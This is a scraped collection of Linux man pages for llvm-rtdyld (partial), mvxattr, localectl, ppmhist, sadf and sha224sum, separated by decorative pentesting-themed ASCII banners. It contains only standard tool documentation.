USAGE: llvm-rtdyld [options] <input files> –args <program arguments>…

OPTIONS:

Color Options:

–color - Use colors in output (default=autodetect)

Generic Options:

–help - Display available options (–help-hidden for more)

–help-list - Display list of available options (–help-list-hidden for more)

–version - Display the version of this program

RTDyld Options:

–args <string>… - <program arguments>…

–check=<string> - File containing RuntimeDyld verifier checks.

–dylib=<string> - Add library.

–entry=<string> - Function to call as entry point.

–mcpu=<cpu-name> - Target a specific cpu type (-mcpu=help for details)

–preallocate=<ulong> - Allocate memory upfront rather than on-demand

–show-times - Show times for llvm-rtdyld phases

–triple=<string> - Target triple for disassembler

Action to perform:

–execute - Load, link, and execute the inputs.

–printline - Load, link, and print line information for each function.

–printdebugline - Load, link, and print line information for each function using the debug object

–printobjline - Like -printlineinfo but does not load the object first

–verify - Load, link and verify the resulting memory image.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1224 - Linux cli command mvxattr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mvxattr and provides detailed information about the command mvxattr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mvxattr.

NAME 🖥️ mvxattr 🖥️

Recursively rename extended attributes

SYNOPSIS

mvxattr {-s STRING, –from=STRING} {-d STRING, –to=STRING} [-l, –follow-symlinks] [-p, –print] [-v, –verbose] [-f, –force] {PATH [PATH …]}

DESCRIPTION

This tool is part of the samba(1) suite.

mvxattr is a simple utility to recursively rename extended attributes.

By default all symlinks are ignored, use -l to follow them.

OPTIONS

-s STRING, –from=STRING

Source xattr name

-d STRING, –to=STRING

Destination xattr name

-l, –follow-symlinks

Follow symlinks, the default is to ignore them.

-p, –print

Print files where the xattr got renamed.

-v, –verbose

Print files as they are checked.

-f, –force

Force overwriting of destination xattr.

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

The mvxattr manpage was written by Ralph Boehme.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1225 - Linux cli command localectl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command localectl and provides detailed information about the command localectl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the localectl.

NAME 🖥️ localectl 🖥️

Control the system locale and keyboard layout settings

SYNOPSIS

localectl [OPTIONS…] {COMMAND}

DESCRIPTION

localectl may be used to query and change the system locale and keyboard layout settings. It communicates with systemd-localed(8) to modify files such as /etc/locale.conf and /etc/vconsole.conf.

The system locale controls the language settings of system services and of the UI before the user logs in, such as the display manager, as well as the default for users after login.

The keyboard settings control the keyboard layout used on the text console and of the graphical UI before the user logs in, such as the display manager, as well as the default for users after login.

Note that the changes performed using this tool might require the initrd to be rebuilt to take effect during early system boot. The initrd is not rebuilt automatically by localectl, this task has to be performed manually, usually by reinstalling the distributions kernel package.

Note that systemd-firstboot(1) may be used to initialize the system locale for mounted (but not booted) system images.

COMMANDS

The following commands are understood:

status

Show current settings of the system locale and keyboard mapping. If no command is specified, this is the implied default.

Added in version 195.

set-locale LOCALE, set-locale VARIABLE=LOCALE…

Set the system locale. This takes one locale such as “en_US.UTF-8”, or takes one or more locale assignments such as “LANG=de_DE.utf8”, “LC_MESSAGES=en_GB.utf8”, and so on. If one locale without variable name is provided, then “LANG=” locale variable will be set. See locale(7) for details on the available settings and their meanings. Use list-locales for a list of available locales (see below).

Added in version 195.

list-locales

List available locales useful for configuration with set-locale.

Added in version 195.

set-keymap MAP [TOGGLEMAP]

Set the system keyboard mapping for the console and X11. This takes a mapping name (such as “de” or “us”), and possibly a second one to define a toggle keyboard mapping. Unless –no-convert is passed, the selected setting is also applied as the default system keyboard mapping of X11, after converting it to the closest matching X11 keyboard mapping. Use list-keymaps for a list of available keyboard mappings (see below).

Added in version 195.

list-keymaps

List available keyboard mappings for the console, useful for configuration with set-keymap.

Added in version 195.

set-x11-keymap LAYOUT [MODEL [VARIANT [OPTIONS]]]

Set the system default keyboard mapping for X11 and the virtual console. This takes a keyboard mapping name (such as “de” or “us”), and possibly a model, variant, and options, see kbd(4) for details. Unless –no-convert is passed, the selected setting is also applied as the system console keyboard mapping, after converting it to the closest matching console keyboard mapping.

Added in version 195.

list-x11-keymap-models, list-x11-keymap-layouts, list-x11-keymap-variants [LAYOUT], list-x11-keymap-options

List available X11 keymap models, layouts, variants and options, useful for configuration with set-keymap. The command list-x11-keymap-variants optionally takes a layout parameter to limit the output to the variants suitable for the specific layout.

Added in version 201.

OPTIONS

The following options are understood:

–no-ask-password

Do not query the user for authentication for privileged operations.

Added in version 195.

–no-convert

If set-keymap or set-x11-keymap is invoked and this option is passed, then the keymap will not be converted from the console to X11, or X11 to console, respectively.

Added in version 195.

-H, –host=

Execute the operation remotely. Specify a hostname, or a username and hostname separated by “@”, to connect to. The hostname may optionally be suffixed by a port ssh is listening on, separated by “:”, and then a container name, separated by “/”, which connects directly to a specific container on the specified host. This will use SSH to talk to the remote machine manager instance. Container names may be enumerated with machinectl -H HOST. Put IPv6 addresses in brackets.

-M, –machine=

Execute operation on a local container. Specify a container name to connect to, optionally prefixed by a user name to connect as and a separating “@” character. If the special string “.host” is used in place of the container name, a connection to the local system is made (which is useful to connect to a specific users user bus: “–user –[email protected]”). If the “@” syntax is not used, the connection is made as root user. If the “@” syntax is used either the left hand side or the right hand side may be omitted (but not both) in which case the local user name and “.host” are implied.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

–no-pager

Do not pipe output into a pager.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

ENVIRONMENT

$SYSTEMD_LOG_LEVEL

The maximum log level of emitted messages (messages with a higher log level, i.e. less important ones, will be suppressed). Takes a comma-separated list of values. A value may be either one of (in order of decreasing importance) emerg, alert, crit, err, warning, notice, info, debug, or an integer in the range 0…7. See syslog(3) for more information. Each value may optionally be prefixed with one of console, syslog, kmsg or journal followed by a colon to set the maximum log level for that specific log target (e.g. SYSTEMD_LOG_LEVEL=debug,console:info specifies to log at debug level except when logging to the console which should be at info level). Note that the global maximum log level takes priority over any per target maximum log levels.

$SYSTEMD_LOG_COLOR

A boolean. If true, messages written to the tty will be colored according to priority.

This setting is only useful when messages are written directly to the terminal, because journalctl(1) and other tools that display logs will color messages based on the log level on their own.

$SYSTEMD_LOG_TIME

A boolean. If true, console log messages will be prefixed with a timestamp.

This setting is only useful when messages are written directly to the terminal or a file, because journalctl(1) and other tools that display logs will attach timestamps based on the entry metadata on their own.

$SYSTEMD_LOG_LOCATION

A boolean. If true, messages will be prefixed with a filename and line number in the source code where the message originates.

Note that the log location is often attached as metadata to journal entries anyway. Including it directly in the message text can nevertheless be convenient when debugging programs.

$SYSTEMD_LOG_TID

A boolean. If true, messages will be prefixed with the current numerical thread ID (TID).

Note that the this information is attached as metadata to journal entries anyway. Including it directly in the message text can nevertheless be convenient when debugging programs.

$SYSTEMD_LOG_TARGET

The destination for log messages. One of console (log to the attached tty), console-prefixed (log to the attached tty but with prefixes encoding the log level and “facility”, see syslog(3), kmsg (log to the kernel circular log buffer), journal (log to the journal), journal-or-kmsg (log to the journal if available, and to kmsg otherwise), auto (determine the appropriate log target automatically, the default), null (disable log output).

$SYSTEMD_LOG_RATELIMIT_KMSG

Whether to ratelimit kmsg or not. Takes a boolean. Defaults to “true”. If disabled, systemd will not ratelimit messages written to kmsg.

$SYSTEMD_PAGER

Pager to use when –no-pager is not given; overrides $PAGER. If neither $SYSTEMD_PAGER nor $PAGER are set, a set of well-known pager implementations are tried in turn, including less(1) and more(1), until one is found. If no pager implementation is discovered no pager is invoked. Setting this environment variable to an empty string or the value “cat” is equivalent to passing –no-pager.

Note: if $SYSTEMD_PAGERSECURE is not set, $SYSTEMD_PAGER (as well as $PAGER) will be silently ignored.

$SYSTEMD_LESS

Override the options passed to less (by default “FRSXMK”).

Users might want to change two options in particular:

K

This option instructs the pager to exit immediately when Ctrl+C is pressed. To allow less to handle Ctrl+C itself to switch back to the pager command prompt, unset this option.

If the value of $SYSTEMD_LESS does not include “K”, and the pager that is invoked is less, Ctrl+C will be ignored by the executable, and needs to be handled by the pager.

X

This option instructs the pager to not send termcap initialization and deinitialization strings to the terminal. It is set by default to allow command output to remain visible in the terminal even after the pager exits. Nevertheless, this prevents some pager functionality from working, in particular paged output cannot be scrolled with the mouse.

Note that setting the regular $LESS environment variable has no effect for less invocations by systemd tools.

See less(1) for more discussion.

$SYSTEMD_LESSCHARSET

Override the charset passed to less (by default “utf-8”, if the invoking terminal is determined to be UTF-8 compatible).

Note that setting the regular $LESSCHARSET environment variable has no effect for less invocations by systemd tools.

$SYSTEMD_PAGERSECURE

Takes a boolean argument. When true, the “secure” mode of the pager is enabled; if false, disabled. If $SYSTEMD_PAGERSECURE is not set at all, secure mode is enabled if the effective UID is not the same as the owner of the login session, see geteuid(2) and sd_pid_get_owner_uid(3). In secure mode, LESSSECURE=1 will be set when invoking the pager, and the pager shall disable commands that open or create new files or start new subprocesses. When $SYSTEMD_PAGERSECURE is not set at all, pagers which are not known to implement secure mode will not be used. (Currently only less(1) implements secure mode.)

Note: when commands are invoked with elevated privileges, for example under sudo(8) or pkexec(1), care must be taken to ensure that unintended interactive features are not enabled. “Secure” mode for the pager may be enabled automatically as describe above. Setting SYSTEMD_PAGERSECURE=0 or not removing it from the inherited environment allows the user to invoke arbitrary commands. Note that if the $SYSTEMD_PAGER or $PAGER variables are to be honoured, $SYSTEMD_PAGERSECURE must be set too. It might be reasonable to completely disable the pager using –no-pager instead.

$SYSTEMD_COLORS

Takes a boolean argument. When true, systemd and related utilities will use colors in their output, otherwise the output will be monochrome. Additionally, the variable can take one of the following special values: “16”, “256” to restrict the use of colors to the base 16 or 256 ANSI colors, respectively. This can be specified to override the automatic decision based on $TERM and what the console is connected to.

$SYSTEMD_URLIFY

The value must be a boolean. Controls whether clickable links should be generated in the output for terminal emulators supporting this. This can be specified to override the decision that systemd makes based on $TERM and other conditions.

SEE ALSO

systemd(1), locale(7), locale.conf(5), vconsole.conf(5), loadkeys(1), kbd(4), The XKB Configuration Guide[1], systemctl(1), systemd-localed.service(8), systemd-firstboot(1)

NOTES

The XKB Configuration Guide

http://www.x.org/releases/current/doc/xorg-docs/input/XKB-Config.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1226 - Linux cli command ppmhist

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmhist and provides detailed information about the command ppmhist, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmhist.

.

NAME 🖥️ ppmhist 🖥️

print a histogram of the colors in a PPM image

SYNOPSIS

ppmhist [-hexcolor | -float | -colorname | -map] [-nomap] [-noheader] [-sort={frequency,rgb}] [-forensic] [ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmhist reads a PPM image as input and generates a histogram of the colors in the image, i.e. a list of all the colors and how many pixels of each color are in the image.

Output Format

The output is in one of two basic formats: a report for humans and a PPM image for use by programs. The PPM image is actually quite readable by humans too.

Human Report

You get this format by specifying (or defaulting to) the -nomap option.

The format is one line for each color in the input image.

By default, there are two lines of column header and a summary at the top. Use the -noheader option to suppress those lines.

The summary tells you whether black or white are present and how many shades of gray and color are present. The summary was new in Netpbm 10.82 (March 2018).

In each line, ppmhist identifies the color by red, green, and blue components. By default, it lists each of these in decimal, using the exact values that are in the PPM input. So if the image has a maxval of 255, the numbers in the listing range from 0 to 255. With the -hexcolor option, you can change these numbers to hexadecimal. With the -float option, the numbers are fractional, adjusted to a maxval of 1.

Each line lists the luminosity of the color. It is in decimal on the same scale as the rgb values (see above).

Each line lists the number of pixels in the image that have the color. This is in decimal.

PPM Output

You get this format with the -map option.

The output file is a genuine PPM image, but it is PPM Plain format and contains comments so that it is not a lot different from the human report described above.

As a PPM image, it can be useful as input to other programs that need some kind of palette. The image is a single row with one column for each distinct color in the image.

The function of PPM output is essentially the same as the output of pnmcolormap all. ppmhist is much older than pnmcolormap.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmhist recognizes the following command line options:

-sort={frequency,rgb}
The -sort option determines the order in which the colors are listed in the output. rgb means to sort them first by the intensity of the red component of the color, then of the green, then of the blue, with the least intense first. frequency means to list them in order of how many pixels in the input image have the color, with the most represented colors first. Among colors with the same frequency, the order is the same as with rgb.

The default is frequency.

Before Netpbm 10.88 (September 2019), with -sort=frequency, the order of colors that have the same frequency is arbitrary.

-hexcolor
Print the color components in hexadecimal. See output format .

You may not specify this option along with -float or map.

-float
Print the color components and the luminosity as floating point numbers in the range [0,1]. See output format .

You may not specify this option along with -hexcolor or map.

This option was added in Netpbm 10.19 (November 2003).

-map
Generates a PPM file of the colormap for the image, with the color histogram as comments. See output format .

You may not specify this option along with -float or hexcolor.

-nomap
Generates the histogram for human reading. This is the default.

-colorname
Add the color name to the output. This is the name from the system color dictionary . If the exact color is not in the color dictionary, it is an asterisk followed by the name of the closest color that is in the dictionary. If you don’t have a system color dictionary, the program fails.

This option was added in Netpbm 10.10 (October 2002).

-noheader
Do not print the column headings.

-forensic
With this option, ppmhist works on images that contain invalid sample values. Normally, like most Netpbm programs, ppmhist fails if it encounters a sample value greater than the maxval that the image declares. The presence of such a value means the image is invalid, so the pixels have no meaning. But with -forensic, ppmhist produces a histogram of the actual sample values without regard to maxval. It issues messages summarizing the invalid pixels if there are any.

One use for this is to diagnose the problem that caused the invalid Netpbm image to exist.

There is a small exception to the ability of ppmhist to process invalid pixels even with -forensic: it can never process a sample value greater than 65535. Note that in the rarely used Plain PPM format, it is possible for a number greater than that to appear where a sample value belongs.

This option was new in Netpbm 10.66 (March 2014). But Netpbm older than 10.66 does not properly reject invalid sample values, so the effect is very similar to -forensic.

SEE ALSO

ppm(1) , pgmhist(1) , pnmcolormap(1) , pnmhistmap(1) , ppmchange(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmhist.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1227 - Linux cli command sadf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sadf and provides detailed information about the command sadf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sadf.

NAME 🖥️ sadf 🖥️

Display data collected by sar in multiple formats.

SYNOPSIS

sadf [ -C ] [ -c | -d | -g | -j | -l | -p | -r | -x ] [ -H ] [ -h ] [ -T | -t | -U ] [ -V ] [ -O *opts ***[,…] ] [ -P { ***cpu_list ***| ALL } ] [ -s [ ** *start_time ***] ] ] [ -e [ ***end_time *] ] ] **[ –dev=***dev_list ***] [ –fs=***fs_list ***] [ –iface=iface_list] [ –int=***int_list *] [ – *sar_options ***] [ ***interval ***[ ***count ***] ] [ ***datafile ***| ***-[0-9]+ *]

DESCRIPTION

The sadf command is used for displaying the contents of data files created by the sar(1) command. But unlike sar, sadf can write its data in many different formats (CSV, XML, etc.) The default format is one that can easily be handled by pattern processing commands like **awk **(see option -p). The sadf command can also be used to draw graphs for the various activities collected by sar and display them as SVG (Scalable Vector Graphics) graphics in your web browser (see option -g).

The sadf command extracts and writes to standard output records saved in the datafile file. This file must have been created by a version of **sar **which is compatible with that of sadf. If datafile is omitted, sadf uses the standard system activity daily data file. It is also possible to enter -1, **-2 **etc. as an argument to sadf to display data of that days ago. For example, -1 will point at the standard system activity file of yesterday.

The standard system activity daily data file is named *saDD *or saYYYYMMDD, where *YYYY *stands for the current year, *MM *for the current month and DD for the current day. sadf will look for the most recent of *saDD *and saYYYYMMDD, and use it. By default it is located in the /var/log/sysstat directory. Yet it is possible to specify an alternate location for it: If datafile is a directory (instead of a plain file) then it will be considered as the directory where the standard system activity daily data file is located.

The *interval *and *count *parameters are used to tell **sadf **to select *count *records at *interval *seconds apart. If the count parameter is not set, then all the records saved in the data file will be displayed.

All the activity flags of sar may be entered on the command line to indicate which activities are to be reported. Before specifying them, put a pair of dashes () on the command line in order not to confuse the flags with those of sadf. Not specifying any flags selects only CPU activity.

OPTIONS

-C
Tell **sadf **to display comments present in file.

-c
Convert an old system activity binary datafile (version 9.1.6 and later) to current up-to-date format. Use the following syntax:

**sadf -c ***old_datafile ***> **new_datafile

Conversion can be controlled using option **-O **(see below).

-d
Print the contents of the data file in a format that can easily be ingested by a relational database system. The output consists of fields separated by a semicolon. Each record contains the hostname of the host where the file was created, the interval value (or -1 if not applicable), the timestamp in a form easily acceptable by most databases, and additional semicolon separated data fields as specified by *sar_options *command line options. Note that timestamp output can be controlled by options -T, **-t **and -U.

**–dev=**dev_list
Specify the block devices for which statistics are to be displayed by sadf. dev_list is a list of comma-separated device names. Useful with option **-d **from sar.

-e [ hh:mm[:ss] ]
**-e [ ***seconds_since_the_epoch *]

Set the ending time of the report. The default ending time is 18:00:00. Hours must be given in 24-hour format, or as the number of seconds since the epoch (given as a 10 digit number).

**–fs=**fs_list
Specify the filesystems for which statistics are to be displayed by sadf. fs_list is a list of comma-separated filesystem names or mountpoints. Useful with option **-F **from sar.

-g
Print the contents of the data file in SVG (Scalable Vector Graphics) format. This option enables you to display some fancy graphs in your web browser. Use the following syntax:

**sadf -g ***your_datafile ***[ – ***sar_options ***] > **output.svg

and open the resulting SVG file in your favorite web browser. Output can be controlled using option **-O **(see below).

-H
Display only the header of the report (when applicable). If no format has been specified, then the header data (metadata) of the data file are displayed.

-h
When used in conjunction with option -d, all activities will be displayed horizontally on a single line.

**–iface=**iface_list
Specify the network interfaces for which statistics are to be displayed by sadf. iface_list is a list of comma-separated interface names. Useful with options **-n DEV **and **-n EDEV **from sar.

**–int=**int_list
Specify the interrupts names for which statistics are to be displayed by sadf. int_list is a list of comma-separated values or range of values (e.g., 0-16,35,40-). Useful with option **-I **from sar.

-j
Print the contents of the data file in JSON (JavaScript Object Notation) format. Timestamps can be controlled by options **-T **and -t.

-l
Export the contents of the data file to a PCP (Performance Co-Pilot) archive. The name of the archive can be specified using the keyword **pcparchive= **with option -O.

-O opts[,…]
Use the specified options to control the output of sadf. The following options are used to control SVG output displayed by sadf -g:

autoscale
Draw all the graphs of a given view as large as possible based on current view’s scale. To do this, a factor (10, 100, 1000…) is used to enlarge the graph drawing. This option may be interesting when several graphs are drawn on the same view, some with only very small values, and others with high ones, the latter making the former hardly visible.

bwcol
Use a black and white palette to draw the graphs.

customcol
Use a customizable color palette instead of the default one to draw the graphs. See environment variable S_COLORS_PALETTE below to know how to customize that palette.

debug
Add helpful comments in SVG output file.

height=value
Set SVG canvas height to value.

oneday
Display graphs data over a period of 24 hours. Note that hours are still printed in UTC by default: You should use option **-T **to print them in local time and get a time window starting from midnight.

packed
Group all views from the same activity (and for the same device) on the same row.

showidle
Also display %idle state in graphs for CPU statistics.

showinfo
Display additional information (such as the date and the host name) on each view.

showtoc
Add a table of contents at the beginning of the SVG output, consisting of links pointing at the first graph of each activity.

skipempty
Do not display views where all graphs have only zero values.

The following option may be used when converting an old system activity binary datafile to current up-to-date format:

hz=value
Specify the number of ticks per second for the machine where the old datafile has been created.

The following option may be used when data are exported to a PCP archive:

pcparchive=name
Specify the name of the PCP archive to create.

The following option is used to control raw output displayed by sadf -r:

debug
Display additional information, mainly useful for debugging purpose.

**-P { ***cpu_list *| ALL }
Tell sadf that processor dependent statistics are to be reported only for the specified processor or processors. cpu_list is a list of comma-separated values or range of values (e.g., 0,2,4-7,12-). Note that processor 0 is the first processor, and processor **all **is the global average among all processors. Specifying the ALL keyword reports statistics for each individual processor, and globally for all processors.

-p
Print the contents of the data file in a format that can easily be handled by pattern processing commands like awk. The output consists of fields separated by a tab. Each record contains the hostname of the host where the file was created, the interval value (or -1 if not applicable), the timestamp, the device name (or - if not applicable), the field name and its value. Note that timestamp output can be controlled by options -T, **-t **and -U.

-r
Print the raw contents of the data file. With this format, the values for all the counters are displayed as read from the kernel, which means e.g., that no average values are calculated over the elapsed time interval. Output can be controlled using option **-O **(see above).

-s [ hh:mm[:ss] ]
**-s [ ***seconds_since_the_epoch *]

Set the starting time of the data, causing the sadf command to extract records time-tagged at, or following, the time specified. The default starting time is 08:00:00. Hours must be given in 24-hour format, or as the number of seconds since the epoch (given as a 10 digit number).

-T
Display timestamp in local time instead of UTC (Coordinated Universal Time).

-t
Display timestamp in the original local time of the data file creator instead of UTC (Coordinated Universal Time).

-U
Display timestamp (UTC - Coordinated Universal Time) in seconds from the epoch.

-V
Print version number then exit.

-x
Print the contents of the data file in XML format. Timestamps can be controlled by options **-T **and -t. The corresponding DTD (Document Type Definition) and XML Schema are included in the sysstat source package. They are also available at https://sysstat.github.io/.

ENVIRONMENT

The sadf command takes into account the following environment variables:

S_COLORS_PALETTE
Specify the colors used by sadf -g to render the SVG output. This environment variable is taken into account only when the custom color palette has been selected with the option **customcol **(see option -O). Its value is a colon-separated list of capabilities associated with six-digit, three-byte hexadecimal numbers (hex triplets) representing colors that defaults to

0=000000:1=1a1aff:2=1affb2:3=b21aff:
4=1ab2ff:5=ff1a1a:6=ffb31a:7=b2ff1a:
8=efefef:9=000000:A=1a1aff:B=1affb2:
C=b21aff:D=1ab2ff:E=ff1a1a:F=ffb31a:
G=bebebe:H=000000:I=000000:K=ffffff:
L=000000:T=000000:W=000000:X=000000

Capabilities consisting of a hexadecimal digit (**0 **through F) are used to specify the first sixteen colors in the palette (these colors are used to draw the graphs), e.g., 3=ffffff would indicate that the third color in the palette is white (0xffffff).
Other capabilities are:

G=
Specify the color used to draw the grid lines.

H=
Specify the color used to display the report header.

I=
Specify the color used to display additional information (e.g., date, hostname…)

K=
Specify the color used for the graphs background.

L=
Specify the default color (which is for example used to display the table of contents).

T=
Specify the color used to display the graphs title.

W=
Specify the color used to display warning and error messages.

X=
Specify the color used to draw the axes and display the graduations.

S_TIME_DEF_TIME
If this variable exists and its value is **UTC **then sadf will use UTC time instead of local time to determine the current daily data file located in the /var/log/sysstat directory.

EXAMPLES

sadf -d /var/log/sysstat/sa21 – -r -n DEV
Extract memory and network statistics from system activity file sa21, and display them in a format that can be ingested by a database.

sadf -p -P 1
Extract CPU statistics for processor 1 (the second processor) from current daily data file, and display them in a format that can easily be handled by a pattern processing command.

BUGS

SVG output (as created by option -g) is fully compliant with SVG 1.1 standard. Graphics have been successfully displayed in various web browsers, including Firefox, Chrome and Opera. Yet SVG rendering is broken on Microsoft browsers (tested on Internet Explorer 11 and Edge 13.1): So please don’t use them.

FILES

/var/log/sysstat/saDD
/var/log/sysstat/saYYYYMMDD

The standard system activity daily data files and their default location. *YYYY *stands for the current year, *MM *for the current month and DD for the current day.

AUTHOR

Sebastien Godard (sysstat <at> orange.fr)

SEE ALSO

sar(1), sadc(8), sa1(8), sa2(8), sysstat(5)

https://github.com/sysstat/sysstat
https://sysstat.github.io/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1228 - Linux cli command sha224sum

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sha224sum and provides detailed information about the command sha224sum, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sha224sum.

NAME 🖥️ sha224sum 🖥️

compute and check SHA224 message digest

SYNOPSIS

sha224sum [OPTION]… [FILE]…

DESCRIPTION

Print or check SHA224 (224-bit) checksums.

With no FILE, or when FILE is -, read standard input.

-b, –binary
read in binary mode

-c, –check
read checksums from the FILEs and check them

–tag
create a BSD-style checksum

-t, –text
read in text mode (default)

-z, –zero
end each output line with NUL, not newline, and disable file name escaping

The following five options are useful only when verifying checksums:

–ignore-missing
don’t fail or report status for missing files

–quiet
don’t print OK for each successfully verified file

–status
don’t output anything, status code shows success

–strict
exit non-zero for improperly formatted checksum lines

-w, –warn
warn about improperly formatted checksum lines

–help
display this help and exit

–version
output version information and exit

The sums are computed as described in RFC 3874. When checking, the input should be a former output of this program. The default mode is to print a line with: checksum, a space, a character indicating input mode (’*’ for binary, ’ ’ for text or where binary is insignificant), and name for each FILE.

Note: There is no difference between binary mode and text mode on GNU systems.

AUTHOR

Written by Ulrich Drepper, Scott Miller, and David Madore.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

cksum(1)

